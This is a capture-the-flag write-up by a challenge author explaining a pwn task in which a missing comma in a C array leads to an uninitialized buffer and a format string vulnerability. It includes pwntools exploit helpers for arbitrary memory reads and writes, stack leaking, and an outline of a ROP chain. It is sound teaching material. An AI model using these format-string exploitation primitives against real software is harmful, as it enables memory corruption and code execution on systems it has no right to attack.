• Event: p4ctf 2023 teaser
  • Category: pwn


This is a challange that I prepared for CTF contest organized by my CTF team p4. Files can be downloaded from here.
Following files are provided:


As you see there is source code but no binary. I decided not to publish binary for CTF players because it would make spotting this bug easier.


I spoiled in a title of my blog post about the vulnerability type but CTF participants didn’t receive any spoilers.

The vulnerability is not where people always look - it’s not inside a function but in global variables.

Let’s see:

char fruits[8][20] = 
   {"Apple,", "Banana,", "Orange,", "Strawberry,",
	"Watermelon,", "Tomato,", "Lime,", "Avocado,"};

char vegetables[8][20] = 
	{"Carrot,", "Cucumber,", "Corn,", "Zucchini,",
	"Potato,", "Asparagus,", "Broccoli,", "Cabbage,"};

char meats[8][20] = 
	{"Pork,", "Beef,", "Chicken,", "Turkey,"
	"Duck,", "Lamb,", "Goat,", "Seafood,"};
char drinks[8][20] = 
   {"Tea,", "Water,", "CocaCola,", "Sprite,",
	"Redbull,", "Coffee,", "Milk,", "Mojito,"};

char bugs[8][20] = 
   {"Locust,", "Cricket,", "Honeybee,", "Beetle,",
	"Ants,", "Cockroach,", "Fly Larvae,", "Grasshopper,"};

There is no comma at the end of one line - after Turkey:

char meats[8][20] = 
	{"Pork,", "Beef,", "Chicken,", "Turkey,"
	"Duck,", "Lamb,", "Goat,", "Seafood,"};

Some people spent a lot of time trying to find this bug because it’s unusual bug type but there are 2 methods that allow us to spot this bug easily:

The first:

$ clang eat_bugs.c -o test -Wall -Wextra
eat_bugs.c:18:2: warning: suspicious concatenation of string literals in an array initialization; did you mean to separate the elements with a comma? [-Wstring-concatenation]
        "Duck,", "Lamb,", "Goat,", "Seafood,"};
eat_bugs.c:17:33: note: place parentheses around the string literal to silence warning
        {"Pork,", "Beef,", "Chicken,", "Turkey,"

The second is to use ChatGPT. After just pasting the whole code we get some results and somewhere between meaningless information we can spot:

Missing Comma in Meats Array: There's a missing comma in the meats array after "Turkey". It should be "Turkey,", to maintain consistency.

So our array meats will contain 8 elements:

and an empty string at index 7

Now you can stop and think how to exploit this vulnerability or you can read the post further.

Hint 1

Ok, let’s look at the code:

	for(int i=0;i<elements;i++){
			printf("Type of food: ");
			int type = read_int();
			printf("Idx: ");
			int idx = read_int();
			char *src = get_food(type, idx);
			int l = strlen(src);
			if(l > sizeof(plate) - plate_len) {
				printf("no no\n");
			memcpy(plate+plate_len, src, l);
			plate_len += l;
	printf("Good choice %s\n", name);
	printf("Here is your yummy plate:\n");

The user just provides a type of food (fruits/vegetables/meats/drinks/bugs) and the index. Food names are copied into plate buffer. It can be for example Apple,Beef, string. After the loop, the last comma is removed: plate[plate_len-1]='\x00';. After this operation, our buffer will look Apple,Beef. Elements must be 2 or more.

If the user provides meats and index 7, then the empty string is added. When providing it 2 times, the buffer will be an empty string.

Hint 2

The operation plate[plate_len-1]='\x00'; does plate[-1]='\x00'; We have buffer underflow, we can overwrite one byte before the buffer…. but it doesn’t matter, there is nothing interesting to overwrite.

Hint 3

What’s most important - buffer plate is uninitialized now. In usual situation we copy strings to the buffer and put null byte at the end. In the case of empty string, buffer is not ended by null byte. After the loop uninitialized buffer is printfed: printf(plate);.

Hint 4

It can be format string vulnerability, we need only to find how.

Hint 5

You need to know how stack works in binaries and this blog post is not about this. If you don’t know maybe you will find out somewhere on YT. The basic idea is that if some function A calls some another function B, function B finishes and A calls next function C - then it can happen that C will have their variables at the same place (address) in memory where B had their own variables. If B won’t clear data before returning and C won’t initialize their variables at this place, then magic happens.

Hint 6

int read_int() {
	char tmp[0x20];
	memset(tmp, 0, 0x20);
	read(0, tmp, 0x20-1);
	return atoi(tmp);

Remember that for example atoi("2%s") works good and returns 2 so we can write format string payload to tmp buffer.

But function read_int is called several times, we are interested in main -> read_elements -> read_int.


$ ./eat_bugs 
Tell me your name: penis
How much elements on plate: 2 %p
Type of food: 2
Idx: 7
Type of food: 2
Idx: 7
Good choice penis

Here is your yummy plate:
2 0x1


Let’s create a useful function. In my exploit it’s called go

def go(s):
	r.recvuntil(b"name: ")
	r.recvuntil(b" on plate: ")
	r.recvuntil(b"of food: ")
	r.recvuntil(b"Idx: ")

	r.recvuntil(b"of food: ")
	r.recvuntil(b"Idx: ")
	data = r.recvuntil(b"#")
	data = data.split(b"\n2")[1][:-1]
	return data

It just does one format string attack, the example of how to use this function is just go(b"%18$p#") .

Let’a also create some helpful functions:

def leak64(where):
	fmt = fit({
	 0: b"aaa%8$s#",
	 0x20-2-15: p64(where)}, filler=b'a', length=0x20-2
	data = go(fmt)
	data = data[3:]
	return u64(data.ljust(8,b"\x00"))

def write8(where, what):
	fmt = fit({
		 0: b"%"+bytes(str(what+255),"utf-8")+b"d%8$hhn#",
		 0x20-2-15: p64(where)}, filler=b'a', length=0x20-2

def write64(where, what):
	for i in range(8):
		w = what & 0xff
		what = what//0x100 
		write8(where, w)
		where += 1

The next step is to leak the stack address, you do it by leaking different %p’s and looking for addresses that look like a stack.

The stack is at %18$p

data = go(b"%18$p#")
print("stack: "+hex(stack))

What we can do with it? look below:

int main() {	
	for(int people=0;people<3;people++) {		
		make_plate(); //one format string attack here 

make_plate allows us to do one format string attack so the whole loop allows us to do it 3 times. We prefer more so we want to overwrite people variable to a negative value. This variable is placed somewhere on the stack but we don’t know where, let’s find it.

My idea was to use the following code, it writes a value from provided address 2 times. If we guessed an address of people, it should return 1 and later 2.

for i in range(2):
	leak1 = leak64(people_address)

We try this code with people_address pointing at different addresses and it turned out that people_address = stack-8*36 gives:


This is very interesting! people_address = stack-8*36+4 gives us:


Yeah, we need to remember that variable people is 4-bytes of size. It turned out that address of this variable is not aligned to 8 bytes - just some space optimization by a compiler (I was trying various optimization flags for gcc to make format string bug possible).

Following code just overwrite this variable to a negative value:

write8(people_address+3, 240)

Finishing the challenge (boring)

From this point, the rest of exploitation is straight-forward - the same as in usual entry-level challenge where you have a format string vulnerability and no binary, so I won’t be writing details of this.

You can like LiveOverflow - Format String to dump binary and gain RCE if you don’t know this trick.

Following steps in my solution are:

  1. leak base addres
  2. dump the binary
  3. leak libc base
  4. find a good place on the stack where is kept the return address
  5. write ROP in this place by format string attack
  6. exit

And we got a flag which is p4{43nrd3n82j7gf___https://www.youtube.com/watch?v=LSerlz47srg}

Here is full exploit source.
Or you can download also binary but remember that this file wasn’t provided during CTF.